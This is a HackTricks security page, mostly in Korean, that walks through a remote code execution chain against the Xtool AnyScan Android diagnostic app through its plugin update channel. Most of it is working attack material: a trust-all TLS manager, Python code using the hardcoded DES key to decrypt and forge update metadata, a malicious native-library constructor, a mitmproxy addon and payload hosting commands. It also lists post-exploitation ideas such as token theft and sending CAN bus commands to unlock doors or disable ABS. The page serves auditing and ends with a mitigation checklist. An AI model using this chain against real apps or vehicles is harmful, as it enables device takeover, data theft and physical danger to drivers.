Insecure In-App Update Mechanisms – Remote Code Execution via Malicious Plugins
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
많은 Android 애플리케이션이 Google Play 스토어 대신 자체 “플러그인” 또는 “동적 기능” 업데이트 채널을 구현합니다. 구현이 안전하지 않으면, 트래픽을 가로챌 수 있는 공격자가 앱 프로세스 내에서 로드될 임의의 네이티브 코드를 제공할 수 있으며, 이는 핸드셋에서 완전한 원격 코드 실행(RCE)으로 이어질 수 있습니다 – 경우에 따라 앱이 제어하는 외부 장치(자동차, IoT, 의료 기기 등)에서도 가능합니다.
이 페이지는 Xtool AnyScan 자동차 진단 앱(v4.40.11 → 4.40.40)에서 발견된 실제 취약점 체인을 요약하고, 이 기술을 일반화하여 다른 Android 앱을 감사하고 레드팀 참여 중 잘못된 구성을 무기화할 수 있도록 합니다.
1. Insecure TLS TrustManager 식별하기
- jadx / apktool로 APK를 디컴파일하고 네트워킹 스택(OkHttp, HttpUrlConnection, Retrofit 등)을 찾습니다.
- 모든 인증서를 맹목적으로 신뢰하는 커스텀
TrustManager
또는HostnameVerifier
를 찾습니다:
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
- 존재하는 경우 애플리케이션은 모든 TLS 인증서를 수락합니다 → 자체 서명된 인증서로 투명한 MITM 프록시를 실행할 수 있습니다:
mitmproxy -p 8080 -s addon.py # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
2. 업데이트 메타데이터 리버스 엔지니어링
AnyScan 사례에서 각 앱 실행은 다음에 대한 HTTPS GET을 트리거합니다:
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
응답 본문은 모든 사용 가능한 플러그인을 설명하는 Base64로 인코딩되고, DES-ECB로 암호화된 JSON을 포함하는 XML 문서입니다.
전형적인 헌팅 단계:
- 암호화 루틴(예:
RemoteServiceProxy
)을 찾고 복구합니다:
- 알고리즘 (DES / AES / RC4 …)
- 작동 모드 (ECB / CBC / GCM …)
- 하드코딩된 키 / IV (종종 상수에서 56비트 DES 키 또는 128비트 AES 키)
- 메타데이터를 복호화/암호화하기 위해 Python에서 함수를 재구현합니다:
from Crypto.Cipher import DES
from base64 import b64decode, b64encode
KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A" # 56-bit key observed in AnyScan
def decrypt_metadata(data_b64: str) -> bytes:
cipher = DES.new(KEY, DES.MODE_ECB)
return cipher.decrypt(b64decode(data_b64))
def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
3. 악성 플러그인 만들기
- 합법적인 플러그인 ZIP을 선택하고 네이티브 라이브러리를 당신의 페이로드로 교체합니다:
// libscan_x64.so – constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
// spawn reverse shell, drop file, etc.
}
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
- JSON 메타데이터를 업데이트하여
"FileName" : "PWNED.zip"
로 설정하고"DownloadURL"
이 당신의 HTTP 서버를 가리키도록 합니다. - 수정된 JSON을 DES로 암호화한 후 Base64로 인코딩하고 가로챈 XML 안에 다시 복사합니다.
4. mitmproxy로 페이로드 전달
addon.py
예제는 원본 메타데이터를 조용히 교체합니다:
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()
def request(flow: http.HTTPFlow):
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
flow.response = http.Response.make(
200,
MOD_XML,
{"Content-Type": "text/xml"}
)
악성 ZIP 파일을 호스팅하기 위해 간단한 웹 서버를 실행합니다:
python3 -m http.server 8000 --directory ./payloads
피해자가 앱을 실행하면 다음과 같은 작업을 수행합니다:
- MITM 채널을 통해 위조된 XML을 가져옵니다;
- 하드코딩된 DES 키로 이를 복호화하고 파싱합니다;
PWNED.zip
을 다운로드 → 개인 저장소에 압축 해제합니다;- 포함된 libscan_x64.so를
dlopen()
하여 앱의 권한으로 즉시 코드를 실행합니다 (카메라, GPS, 블루투스, 파일 시스템 등).
플러그인이 디스크에 캐시되기 때문에 백도어는 재부팅 간에 지속되며 사용자가 관련 기능을 선택할 때마다 실행됩니다.
5. 포스트 익스플로잇 아이디어
- 앱에 의해 저장된 세션 쿠키, OAuth 토큰 또는 JWT를 훔칩니다.
- 두 번째 단계 APK를 드롭하고
pm install
을 통해 조용히 설치합니다 (앱은 이미REQUEST_INSTALL_PACKAGES
권한을 가지고 있습니다). - 연결된 하드웨어를 남용합니다 – AnyScan 시나리오에서는 임의의 OBD-II / CAN 버스 명령을 전송할 수 있습니다 (문 잠금 해제, ABS 비활성화 등).
탐지 및 완화 체크리스트 (블루 팀)
- 인증서 검증을 비활성화하는 사용자 정의 TrustManager/HostnameVerifier가 포함된 프로덕션 빌드를 절대 배포하지 마십시오.
- Google Play 외부에서 실행 가능한 코드를 다운로드하지 마십시오. 필요한 경우, 각 플러그인을 동일한 apkSigning v2 키로 서명하고 로드하기 전에 서명을 확인하십시오.
- 약한/하드코딩된 암호화를 AES-GCM 및 서버 측 회전 키로 교체하십시오.
- 다운로드한 아카이브의 무결성을 검증하십시오 (서명 또는 최소한 SHA-256).
참조
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.